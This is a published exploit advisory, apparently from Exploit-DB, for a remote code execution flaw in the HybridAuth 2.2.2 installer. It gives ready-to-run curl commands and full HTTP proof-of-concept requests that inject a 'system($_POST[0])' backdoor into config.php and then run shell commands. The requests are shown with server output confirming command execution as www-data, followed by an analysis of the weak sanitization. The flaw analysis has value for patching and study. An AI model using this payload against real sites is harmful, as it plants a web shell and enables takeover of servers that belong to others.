HybridAuth 2.2.2 – Remote Code Execution

  • 作者： @u0x
    日期： 2014-08-06
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/34273/
  • ######################################################################
#_ ____ _______________
#| | / _ \| \ | |/ ___|/ ___|/ \|_ _|
#| || | | |\| | |_| | / _ \ | |
#| |__| |_| | |\| |_| | |___ / ___ \| |
#|_____\___/|_| \_|\____|\____/_/ \_\_|
#
# HybridAuth <= 2.2.2 Remote Code Execution
# Website : http://hybridauth.sourceforge.net/
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : August 5, 2014
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
HybridAuth enable developers to easily build social applications to engage
websites
vistors and customers on a social level by implementing social signin,
social sharing,
users profiles, friends list, activities stream, status updates and more.


[+] Exploit (New Version)
============================================================

I just found that the latest development version (2.2.2-dev) in Github was
trying to patch this months ago.

https://github.com/hybridauth/hybridauth/commit/574953517cda02eb631d68879bbc4f203fd203b9#diff-7fa84e199bd97f30cea5aea71735379c

...
function stringSanitization($string)
{
$string = strip_tags($string);
$string = htmlentities($string, ENT_QUOTES, 'UTF-8');
return $string;
}
...
foreach( $_POST AS $k => $v ):
$v = stringSanitization($v); <--- sanitize ???
$k = stringSanitization($k); <--- sanitize ???
$z = "#$k#";
$CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
endforeach;
...

However, the sanitization is not sufficient to prevent PHP code injection.
We can inject to next value that will never be sanitized with
htmlentities() :/

Note that the default installation leave "install.php" untouched.
$ curl http://victim/hybridauth/install.php -d
'OPENID_ADAPTER_STATUS=system($_POST[0]))));/*'
$ curl http://victim/hybridauth/config.php -d '0=id;ls -lha'



[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

1. Inject Evil PHP Backdoor
POST /hybridauth_git/install.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

OPENID_ADAPTER_STATUS=system($_POST[0]))));/*

HTTP/1.1 200 OK
Date: Tue, 05 Aug 2014 02:13:52 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 2467
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html>
<html lang="en">
<head>
<title>HybridAuth Installer</title>
...

2. Gaining access to the PHP backdoor
POST /hybridauth_git/config.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

0=id;ls%20-lha

HTTP/1.1 200 OK
Date: Tue, 05 Aug 2014 02:15:16 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Length: 397
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 76K
drwxrwxrwx3 longcat longcat 4.0K Aug5 08:34 .
drwxrwxr-x 25 longcat longcat16K Aug5 08:47 ..
drwxrwxrwx5 longcat longcat 4.0K Aug5 08:34 Hybrid
- -rwxrwxrwx1 longcat longcat 2.5K Aug5 09:13 config.php
- -rwxrwxrwx1 longcat longcat488 Aug5 08:34 index.php
- -rwxrwxrwx1 longcat longcat18K Aug5 08:34 install.php

[+] Vulnerability Analysis
============================================================

Filename: ./install.php
...
function stringSanitization($string)
{
$string = strip_tags($string);
$string = htmlentities($string, ENT_QUOTES, 'UTF-8'); <-- LoL
return $string;
}
...
if( count( $_POST ) ): <-- user controlled input HTTP POST data
\/-- Read a template file
$CONFIG_TEMPLATE = file_get_contents( "Hybrid/resources/config.php.tpl"
);

foreach( $_POST AS $k => $v ):
$v = stringSanitization($v);
$k = stringSanitization($k);
$z = "#$k#";

\/-- #POST data's keys# found in template file will be replaced
with POST data's values
| so we can simply replace these existing values with something
fun :)
$CONFIG_TEMPLATE = str_replace( $z, $v, $CONFIG_TEMPLATE );
endforeach;
...
\/-- upload that replaced template contents into config.php
$is_installed = file_put_contents( $GLOBAL_HYBRID_AUTH_PATH_BASE .
"config.php",$CONFIG_TEMPLATE );
...

Filename: ./Hybrid/resources/config.php.tpl
...
return
array(
"base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

"providers" => array (
// openid providers
"OpenID" => array (
"enabled" => #OPENID_ADAPTER_STATUS# <-- #..# will be
replaced with arbitrary PHP code
),
...

So this is what injected "config.php" looks like...
Filename: ./config.php
<?php
...
return
array(
"base_url" => "#GLOBAL_HYBRID_AUTH_URL_BASE#",

"providers" => array (
// openid providers
"OpenID" => array (
"enabled" => system($_POST[0]))));/*
),
...

Pwned again,
LongCat